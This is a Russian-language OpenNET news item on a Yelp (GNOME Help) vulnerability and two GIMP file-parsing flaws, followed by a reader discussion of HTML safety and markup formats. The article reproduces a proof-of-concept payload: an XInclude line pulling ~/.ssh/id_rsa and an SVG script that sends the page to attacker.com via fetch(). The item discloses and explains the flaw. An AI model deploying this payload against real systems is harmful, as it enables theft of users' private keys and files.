The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимости в GNOME Help и GIMP, позволяющие выполнить код при открытии файлов

08.04.2025 10:07

В просмотрщике Yelp, применяемом по умолчанию в GNOME для работы со справочными руководствами (GNOME Help), выявлена уязвимость (CVE-2025-3155), позволяющая выполнить произвольный JavaScript-код при открытии специально оформленных page-файлов. Выполнение подобных скриптов даёт возможность отправить файлы пользователя на сервер атакующего. Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

В GNOME для открытия файлов со справочными руководствами регистрируется URI "ghelp://", обрабатываемый через вызов Yelp. Для атаки злоумышленнику необходимо добиться загрузки своего файла index.page на систему пользователя. Например, можно обманом вынудить загрузить файл через браузер, кликнув на ссылку на сайте атакующего. После того как файл загружен атакующий может инициировать открытие этого документа, перенаправив в браузере переход со своей страницы на URL ghelp://" с путём к каталогу, в который загружен файл. Например, "ghelp:///proc/self/cwd/Downloads", где путь "/proc/self/cwd" ассоциирован с рабочим каталогом текущего процесса (при запуске yelp это будет домашний каталог пользователя).

Уязвимость вызвана тем, что в page-файлах используется формат Mallard, основанный на XML. В данном формате имеется возможность вставки в документ содержимого других файлов, используя механизм XInclude. Для отрисовки page-файлов программа Yelp преобразует их из XML в HTML при помощи XSLT (yelp-xsl), после чего отображает используя движок WebKitGtk. Идея в том, чтобы добиться подстановки JavaScript в результирующий HTML-файл и использовать данный JavaScript для отправки на сервер содержимого, подставленного через XInclude.

Для подстановки JavaScript использовано то, что XSLT копирует некоторые элементы в HTML без разбора, например, целиком переносит элемент <svg> и всё вложенное содержимое. Таким образом, для передачи на внешний сервер файла "~/.ssh/id_rsa" достаточно подставить его в page-документ директивой "include":


   <include parse="text" xmlns="http://www.w3.org/2001/XInclude" href="/proc/self/cwd/.ssh/id_rsa"/>

После чего добавить через элемент <svg:script...> вызов JavaScript с кодом для отправки POST-запроса на внешний сервер, используя функцию fetch():


    <svg:svg xmlns:svg="http://www.w3.org/2000/svg">
      <svg:script>onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})</svg:script>
    </svg:svg>

Дополнительно можно отметить две уязвимости (CVE-2025-2761, CVE-2025-2760) в графическом редакторе GIMP, приводящие к выполнению кода атакующего при открытии пользователем специально подготовленных изображений в форматах XWD и FLI. Обе уязвимости вызваны отсутствием должной проверки размера данных, копируемых в буфер в процессе разбора содержимого файлов. Уязвимости устранены в версии GIMP 3.0.0.

   
  1. Главная ссылка к новости (https://www.openwall.com/lists...)
  2. OpenNews: Уязвимость в библиотеке libgsf, затрагивающая GNOME
  3. OpenNews: Уязвимость в libcue, приводящая к выполнению кода при загрузке файлов в GNOME
  4. OpenNews: Уязвимость в gnome-exe-thumbnailer, позволяющая выполнить код при просмотре каталога с MSI-файлом
  5. OpenNews: Уязвимость в GNOME Evince, позволяющая выполнить код при построении миниатюр
  6. OpenNews: Уязвимость, позволяющая обойти парольную защиту хранителя экрана GNOME
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/63035-gnome
Ключевые слова: gnome, gimp, yelp
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (160) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 10:35, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +13 +/
    > Обе уязвимости вызваны отсутствием должной проверки размера данных,
    > копируемого в буфер в процессе разбора содержимого файлов.

    Да как же так ( ╯°□°)╯ ┻━━┻
    Хотя... это гимп, может ему и простительно.

    ЗЫ: уровень костылизации процедуры показа обычного хелпа впечатляет... хотя можно еще к контейнер завернуть.

     

     ....большая нить свёрнута, показать (104)

  • 1.2, Аноним (-), 10:35, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    > Выполнение подобных скриптов даёт возможность отправить файлы пользователя на сервер атакующего.

    Повторили вулн файрфокса позволявший у пользователей тырить ключи ssh и проч...

     
  • 1.6, Аноним (6), 11:05, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +4 +/
    Возможность исполнять JavaScript-код в хелп файле ЗАЧЕМ!?
     
     
  • 2.9, 1 (??), 11:08, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +2 +/
    Красиво же ! Опять же help - это html. А движок показа html выполняет и JS.
     
     
  • 3.46, Соль земли (?), 13:43, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    Необязательно. За JS отвечает отдельный движок.
     
     
  • 4.178, anonymous (??), 10:26, 10/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Необязательно. За JS отвечает отдельный движок.

    Это раньше было. Сейчас они идут неразрывной связкой.

     
  • 2.51, Аноним (27), 13:57, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Ну виртуалку в PDF же запускают.
     
     
  • 3.77, Аноним (6), 15:32, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    В PDF часто формы бланков для запонения делают. Хоть какое-то обоснование JS.
     

  • 1.14, Жироватт (ok), 11:48, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +1 +/
    >  Для атаки злоумышленнику необходимо добиться загрузки своего файла index.page на систему пользователя а потом из браузера нужно получить каталог загрузки и только потом инициировать переход со своей страницы на URL ghelp://" с путём к каталогу, в который загружен файл

    1) Почему это уязвимость подсистемы справки гнома, а не браузера, который отдаёт стороннему скрипту инфо о каталоге загрузки файла, достаточную, чтобы сформировать запрос на локальный путь?
    2) Почему вообще браузер сообщает что-то пользовательскому скрипту, кроме сингалов "файл загружен успешно"/"загрузка прервана, повтори"?

    Новость ради новости, уязвимость уровня "дайте какеру доступ до вашего ПК - он скачает ваши фоточки"

     
     
  • 2.19, Аноним (19), 11:52, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > Новость ради новости, уязвимость уровня "дайте какеру доступ

    и пароль рута.

     

  • 1.17, anonymous (??), 11:51, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Мне кажется, давно уже назрела необходимость создания безопасного подмножества html, ТОЛЬКО для разметки текста. Без скриптов, без абсолютного позиционирования и фреймов. Чтобы можно было вставить как есть в любой пост на том же opennet к примеру, и чтобы у читателей такого html-like комментария ни в каком случае не утекли данные или не порвалась разметка всей страницы.

    Подобное html-подмножество много где интересно применить будет. В том Jupyter к примеру.

     
     
  • 2.21, Жироватт (ok), 11:54, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +5 +/
    gopher + gemini, все давно уже придумано до вас.
     
  • 2.41, Аноним (40), 13:13, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +3 +/
    > Мне кажется, давно уже назрела необходимость создания безопасного подмножества html, ТОЛЬКО
    > для разметки текста. Без скриптов,

    Ну так рендери только HTML - и отключи JS. Правда, половина сайтов сломается нахрен. Но опеннет работать - будет.

     
     
  • 3.56, Аноним (8), 14:24, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • –1 +/
    > Ну так рендери только HTML - и отключи JS. Правда, половина сайтов сломается нахрен. Но опеннет работать - будет.

    Это потому что 99% сайтов делают по шаблону.
    Которые называют себя кодерами.
    Есть готовые шаблоны.

    Так значит это шаблон разрастился.

     
  • 3.96, Аноним (-), 16:46, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    > Но опеннет работать - будет.

    Я где-то полгода назад проверял - не будет

     
     
  • 4.175, Аноним (-), 18:20, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    >> Но опеннет работать - будет.
    > Я где-то полгода назад проверял - не будет

    Хреново проверял - работает, здесь и сейчас.

     
  • 3.113, anonymous (??), 18:33, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    > Ну так рендери только HTML - и отключи JS. Правда, половина сайтов сломается нахрен. Но опеннет работать - будет.

    Если дать пользователям возможность вставлять в комментарии произвольный html код, то они и при выключенном яваскрипте смогут загадить страничку для всех читателей.

    Смысл затеи в том, чтобы сделать некоторый безопасный стандарт-подмножество html, которые можно разрешить вставлять в страничку даже анонимусу без угрозы поломать сайт.

     
     
  • 4.135, Аноним (54), 00:56, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Про BBCode, поди, никто и не помнит уже.
     
     
  • 5.142, Аноним (142), 02:25, 09/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Особенно на этом-то

    сайте

    .
     
     
  • 6.167, Аноним (168), 16:35, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    А кроме этого, он тут ничего и не умеет (даже [s]зачёркнутый[/s] текст).
     
  • 5.152, anonymous (??), 10:37, 09/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    BBCode слишком убог. От того и не прижился, тот же markdown его вытеснил
     
     
  • 6.166, Аноним (168), 16:33, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Ну как ты в Mardown раскрасишь букаффки, вставишь фрейм и "поиграешься шрифтами" ?
     
  • 6.177, Аноним (142), 04:21, 10/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    BBCode везде на phpBB-форумах. Они вышли из моды, BBCode вместе с ним.

    В BBCode акцент на то, чтобы дать всё необходимое форматирование и запретить остальное

    В Markdown вставка HTML не считается чем-то плохим (поэтому чистый маркдаун обычно беднее BBCode), его не для форумов разрабатывали.

     
  • 2.42, Аноним (3), 13:20, 08/04/2025 [^] [^^] [^^^] [ответить]  [] []     [к модератору]
  • +2 +/
    Простите, но есть Markdown.
     
     
  • 3.66, 12yoexpert (ok), 14:50, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    зачем этот костыль, когда есть LaTeX?
     
  • 3.86, 1 (??), 15:55, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Ну как ты в Mardown раскрасишь букаффки, вставишь фрейм и "поиграешься шрифтами" ?
     
     
  • 4.137, Аноним (142), 01:39, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Через вставку кусков HTML. Это часть идеи Markdown.

    In my opinion, HTML tags are already easy to insert.
    For any markup that is not covered by Markdown’s syntax, you simply use HTML itself.
    https://daringfireball.net/projects/markdown/syntax

     
  • 3.111, anonymous (??), 18:29, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    > Простите, но есть Markdown.

    Тогда уж asciidoc. А то маркдаун как-то слишком убог.

    Но суть в том, что и markdown и asciidoc - это фронтенды. Что-то вроде языка программирования. А html (упрощенное и безопасное подмножество) - это уже бекенд, что-то вроде байткода. Ты берёшь удобные для писателя представления вроде markdown или asciidoc, и перегоняешь их уже в html - для удобства отображения у читателя.

    В принципе asciidoc работает похожим образом, генерируя docbook. Но docbook недостаточно распространён чтобы стать таким универсальным бекендом. К тому же помимо текстовой генерации есть и табличная генерация, например pandas в Jupyter. Было бы удобно подсадить их всех на общий бекенд.

     
     
  • 4.141, Аноним (141), 01:57, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Каким это богом он убог? Маркдаун так то позволяет размечать текст так же как базовый хтмл, заголовки, параграфы, таблицы, картинки есть. И имхо, удобнее чем писать теги, банально изза того, что в мд - простые стмволы, а в хтмл - надо писать целые слова, так еще и помнить что половину тегов надо закрывать, не забыть каким слешем еще.

    Я наоборот жду, когда браузеры научатся рендерить мд сами, из коробки.

    Но круче всего было бы, если бы придумали что-то на основе мд, такое же простое и элегантное, но для верстки страниц. Верстать в гига_мд, а текст форматировать обычным мд.

     
     
  • 5.153, anonymous (??), 10:40, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Это вы о каком маркдауне? На каждом сайте своё собственное расширение, потому что стандарта нет. Сравните лучше с аскидоком.

    Для верстки страниц можете попробовать bootstrap - там как раз собрали наиболее типовые решения в верстке, которыми вы можете легко оформить приблизительный вид сайта, при необходимости дописав отдельные стили.

     
  • 2.95, Аноним (-), 16:45, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    > без абсолютного позиционирования

    А чем вам абсолютное позиционирование (CSS2) помешало то?

     
  • 2.115, Аноним (110), 18:36, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    > подмножества html, ТОЛЬКО для разметки текста

    Уже. Называется HTML. Пушка вообще! Для многих это будет откровением, но HTML позволяет размечать текст без использования скриптов (и даже без CSS, но это пока что секретные технологии, поэтому никому не говори!). А современные рендеры HTML позволяют и вовсе игнорировать некоторые теги, например <script>.

     
     
  • 3.151, anonymous (??), 10:36, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Причём тут CSS? Свойства стилей можно не в таблице стилей указывать, а прям в самом html элементе. В том числе абсолютное позиционирование, которое отрисует квадратики поверх меню или отрицательный маржин, из-зачего пост пользователя будет закрывать соседние.

    Когда-то html был скромен и удобен. Сейчас html - это инструмент для создания веб приложений, а не веб контента.

     

  • 1.23, Аноним (23), 12:01, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Не совсем понял. По итогу что в справке, что в браузере можно выполнить опасный скрипт. Но почему скрипт из вебкита справки может отправить файл с ключами, а браузер не может? Кажется в этом проблема, а не в парсинге XML.
     
     
  • 2.65, Ананоним (?), 14:41, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Современный браузер это огромная дырища в безопасности. Никакие файрвол и NAT не помогут. Скрипты страницы могут и гарят по портам локалхоста легко. И в наглую.
     
     
  • 3.72, Аноним (72), 15:13, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Ну открываемые тобой сайты сканируют, что и зачем у тебя запущено. Интересно же.
     
     
  • 4.120, Аноним (8), 19:17, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Ну открываемые тобой сайты сканируют, что и зачем у тебя запущено. Интересно же.

    Ну да всякая таргетинговая реклама.

     
  • 3.116, Аноним (110), 18:40, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    > Скрипты страницы могут и гарят по портам локалхоста легко.

    Давно нет. Уже второй стандарт пишут, чтобы шарили только те, которым можно. Первый не очень хорошим оказался, у людей кейсы с интранетами и локальными ресурсами ломались. Но ты не переставай бояться, бабаек под кроватью запасено на всю твою жизнь вперёд.

     
  • 2.71, Аноним (72), 15:10, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Вебкит не изолирован никак. Там достаточно khtml, но нет, они будут пихать blink.
     
     
  • 3.138, мяв (?), 01:42, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    да ну ?
    если в системе есть bwrap - он себя в нем пускает
     

  • 1.53, myster (ok), 14:07, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Ага случайная уязвимость по недосмотру, верим.

    Хорошо, что это Open Source, кто-то находит и всю малину им портит. А в Closed Source даже маскировать так бекдоры не надо.

     
  • 1.92, Нуину (?), 16:11, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +1 +/
    Зачем нужен свой просмоторщик для документации в html? Не проще ли в современное время просто поставлять документацию в том же html если хочется, но положить в /usr/share/doc и открывать обычным браузером локально?
     
     
  • 2.98, Аноним (-), 16:57, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    > Не проще ли в современное время просто поставлять документацию в том же html если
    > хочется, но положить в /usr/share/doc и открывать обычным браузером локально?

    Пользователь совсем случайно снес браузер со своего компа.
    И теперь не может погуглить как это исправить. А документация в html.

    Помнишь шутку про заархивированный архиватор? Вот тут то же самое.

     
     
  • 3.130, Нуину (?), 22:07, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    >> Не проще ли в современное время просто поставлять документацию в том же html если
    >> хочется, но положить в /usr/share/doc и открывать обычным браузером локально?
    > Пользователь совсем случайно снес браузер со своего компа.
    > И теперь не может погуглить как это исправить.

    Что ему мешает случайно снести yelp?

    > А документация в html.

    О да, это бинарный формат, открыть любым редактором нельзя и использовать кучу утилит типа grep нельзя же. Вот зачем выдумываете глупости?

     
     
  • 4.131, Нуину (?), 22:08, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    >>> Не проще ли в современное время просто поставлять документацию в том же html если
    >>> хочется, но положить в /usr/share/doc и открывать обычным браузером локально?
    >> Пользователь совсем случайно снес браузер со своего компа.
    >> И теперь не может погуглить как это исправить.

    1. Современный пользователь не читает локальную документацию. Откроет телефон и там узнает.
    2. Документация по установке программ обычно находится в man руководствах.

     
  • 4.134, Аноним (-), 23:19, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Как-то так: https://man.freebsd.org/cgi/man.cgi
    Да, а если не в курсе, то man документацию можно и с командной строки читать оффлайн, если установите конечно
     
     
  • 5.139, Аноним (8), 01:42, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > man документацию можно и с командной строки читать оффлайн, если установите конечно.

    Разве то что запускается через --help, не создано чтобы заменить многостраничные man?

     
     
  • 6.176, Аноним (176), 18:24, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Что такое "многостраничные"?
     
     
  • 7.202, Аноним (202), 10:40, 12/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Это на хипстерском. Все, что длиннее поста в твиттере.
     
  • 3.133, Аноним (-), 23:16, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    > Пользователь совсем случайно снес браузер со своего компа.

    Интернет ещё не отменили, что мешает посмотреть документацию в интернете? На сайте то можно же её разместить? Вы знаете man документация вроде бы как для той же FreeBSD размещена и это удобно.

     
  • 3.136, Аноним (54), 01:02, 09/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    В линуксе — «центр приложений», далее тривиально.
    В венде снести браузер даже преднамеренно не так просто.
     
  • 2.102, Аноним (8), 17:38, 08/04/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    > Зачем нужен свой просмоторщик для документации в html

    Зачем в Xubuntu, minimal нет Mousepad.
    Но есть Nano.

    Вот мне например документацию посмотреть, конфиги, в Nano.
    Прежде чем ставить.

     

  • 1.107, крабб (?), 17:51, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    Ух ты!
    У меня Федора-MATE а пакет yelp зачем-то установлен в систему. Гнома ни разу не было
    Нафиг он?
     
     
  • 2.119, Аноним (8), 19:15, 08/04/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Gnomo зависимости.
    Meta - пакеты.
    Gtk зависимости.
    Наработки Gnome, перекочевавшие в Mate.
     

  • 1.114, Герострат (?), 18:34, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +3 +/
    Зачем страницам справки тюринг-полный язык лол
     
  • 1.129, Вы забыли заполнить поле Name. (?), 21:27, 08/04/2025 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +/
    а закрыть Yelp-у сеть?
     
  • 1.173, Аноним (173), 17:38, 09/04/2025 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +/
    Ща им на Пиыоне 2.0 все поправят.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру